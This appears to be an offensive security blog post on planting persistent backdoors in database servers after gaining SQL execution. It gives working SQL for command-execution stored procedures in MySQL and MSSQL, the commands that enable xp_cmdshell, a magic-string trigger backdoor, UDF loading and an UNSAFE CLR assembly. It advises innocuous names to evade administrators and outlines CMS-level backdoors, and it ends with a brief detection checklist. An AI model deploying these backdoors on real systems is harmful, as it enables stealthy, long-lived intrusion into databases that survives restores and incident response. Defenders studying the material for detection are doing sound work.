Demons in the Database: Hiding Backdoors and Malware in RDBMS Services
Once you have SQL execution on a database server, the natural next step is persistence. Most post-exploitation guides focus on filesystem-level persistence - web shells, cron jobs, SSH keys. Databases offer alternatives that are harder to detect and survive most incident response procedures.
This covers techniques for MySQL, Microsoft SQL Server, PostgreSQL, and Oracle. We tested each technique against default configurations of current versions.
Why databases
Database servers are ideal persistence targets for several reasons:
- File integrity monitoring rarely covers database internals
- DBA teams and security teams are often separate organizations with separate tools
- Database backups preserve malicious objects - restoring from backup restores your backdoor
- Most incident response playbooks do not include database inspection
- Stored procedures, triggers, and UDFs execute with the privileges of the database service account
Malicious stored procedures
The simplest approach. Create a stored procedure that executes system commands, then call it when you need access.
MySQL
DELIMITER //
CREATE PROCEDURE debug_util(IN cmd VARCHAR(255))
BEGIN
SET @output = '';
SET @cmd = cmd;
-- Requires FILE privilege and secure_file_priv = ''
SET @query = CONCAT('SELECT sys_exec("', @cmd, '")');
PREPARE stmt FROM @query;
EXECUTE stmt;
END //
DELIMITER ;
Name it something innocuous. debug_util, cleanup_temp, validate_schema. Most DBAs will not look twice at a stored procedure with a boring name.
MSSQL
CREATE PROCEDURE [dbo].[sp_maintenance_check]
@cmd NVARCHAR(4000)
AS
BEGIN
EXEC xp_cmdshell @cmd;
END;
xp_cmdshell is disabled by default on modern MSSQL, but if you have sysadmin privileges, you can enable it:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Trigger-based persistence
Triggers execute automatically when specific events occur. A trigger on a high-traffic table fires every time a row is inserted or updated - giving you execution without needing to call anything explicitly.
CREATE TRIGGER audit_log_update
AFTER INSERT ON user_sessions
FOR EACH ROW
BEGIN
-- Check for magic value in session data
IF NEW.session_data LIKE '%debug_mode_0xff%' THEN
-- Execute payload
SET @x = sys_exec(CONCAT('/tmp/.cache/', NEW.session_data));
END IF;
END;
The trigger activates only when it sees a specific magic string in the data. Normal application traffic does not trigger it. To activate the backdoor, insert a session with the magic value.
User-Defined Functions (UDFs)
UDFs allow loading compiled shared libraries into the database engine. On MySQL, you can load a shared object that provides system command execution:
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
The shared library needs to be placed in the plugin directory. If you have FILE privilege, you can write it there directly from a hex-encoded blob via SELECT ... INTO DUMPFILE.
UDFs survive database restarts. They persist until someone explicitly drops them or removes the shared library.
CLR assemblies (MSSQL)
MSSQL supports loading .NET assemblies as stored procedures. Write a C# class that executes system commands, compile it, and register it:
CREATE ASSEMBLY [DebugTools]
FROM 0x4D5A9000... -- hex-encoded DLL
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[sp_debug_exec]
@cmd NVARCHAR(4000)
AS EXTERNAL NAME [DebugTools].[StoredProcedures].[ExecCommand];
CLR assemblies have full .NET framework access. They can make network connections, read/write files, and execute arbitrary code - all from within the database context.
CMS-specific backdoors
If the database backs a CMS (WordPress, Drupal, Joomla), you can inject backdoors at the application level:
- WordPress: Insert a row into
wp_optionswith a serialized PHP object that triggers code execution via a deserialization gadget chain when loaded by a plugin - Drupal: Modify the
systemtable to register a malicious module path - Joomla: Insert a malicious plugin record into
jos_extensions
These persist through CMS updates because the database is not overwritten during the update process.
Detection considerations
From a defensive perspective, detecting these techniques requires:
- Baseline inventories of stored procedures, triggers, UDFs, and assemblies
- Regular diff against the baseline
- Monitoring for
CREATE PROCEDURE,CREATE TRIGGER,CREATE FUNCTIONstatements in query logs - File integrity monitoring on the database plugin/extension directories
Most organizations do none of these things.